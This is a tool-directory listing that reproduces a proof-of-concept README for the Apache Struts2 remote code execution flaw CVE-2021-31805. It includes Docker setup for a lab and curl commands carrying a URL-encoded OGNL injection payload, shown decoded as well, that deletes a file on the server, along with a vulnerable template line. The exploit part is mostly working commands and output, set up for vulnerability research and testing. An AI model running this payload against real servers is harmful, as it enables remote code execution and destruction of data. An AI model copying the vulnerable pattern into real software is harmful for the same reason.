Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2021-31805 — Proof-of-concept exploit for Apache Struts2 RCE (CVE-2021-31805) with Docker setup and curl-based exploitation steps. | Kitploit
Tools/GitHubGitHub/aeyesec/cve-2021-31805
Vulnerability AnalysisExploitationWeb Application ExploitationWeb SecurityPenetration Testing
GitHubaeyesec/cve-2021-31805

CVE-2021-31805

Proof-of-concept exploit for Apache Struts2 RCE (CVE-2021-31805) with Docker setup and curl-based exploitation steps.

View Repository
5144 years agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2021-31805

PoC for CVE-2021-31805 (Apache Struts2) This is the application used in the CVE-2021-31805 explanation article.

Setup

root@kitploit:~
$ docker-compose build
$ docker-compose up -d

Verification

Access http://localhost:8080/struts2-showcase-2.5.29/index.html and confirm that the Welcome page is displayed.

Exploit

root@kitploit:~
$ curl -I 'http://localhost:8080/struts2-showcase-2.5.29/index.html'
HTTP/1.1 200
(omitted)
$ curl -I 'http://localhost:8080/struts2-showcase-2.5.29/skill/list.action?skillName=%28%23%61%70%70%6c%69%63%61%74%69%6f%6e%5b%27%6f%72%67%2e%61%70%61%63%68%65%2e%63%61%74%61%6c%69%6e%61%2e%72%65%73%6f%75%72%63%65%73%27%5d%2e%67%65%74%52%65%73%6f%75%72%63%65%28%27%2f%69%6e%64%65%78%2e%68%74%6d%6c%27%29%2e%64%65%6c%65%74%65%28%29%29'
HTTP/1.1 200
(omitted)
The URL-decoded value is
skillName=(#application['org.apache.catalina.resources'].getResource('/index.html').delete())
.

$ curl -I 'http://localhost:8080/struts2-showcase-2.5.29/index.html'
HTTP/1.1 404
(snip)
You can confirm that the index.html file has been deleted.

Example of vulnerable code

root@kitploit:~
<li><s:label id="test2" name="%{skillName}"/></li>

Reference information

  • https://cwiki.apache.org/confluence/display/WW/S2-059
  • https://cwiki.apache.org/confluence/display/WW/S2-061
  • https://cwiki.apache.org/confluence/display/WW/S2-062
  • https://securitylab.github.com/research/apache-struts-double-evaluation/
  • https://mc0wn.blogspot.com/2021/04/exploiting-struts-rce-on-2526.html
Download Tool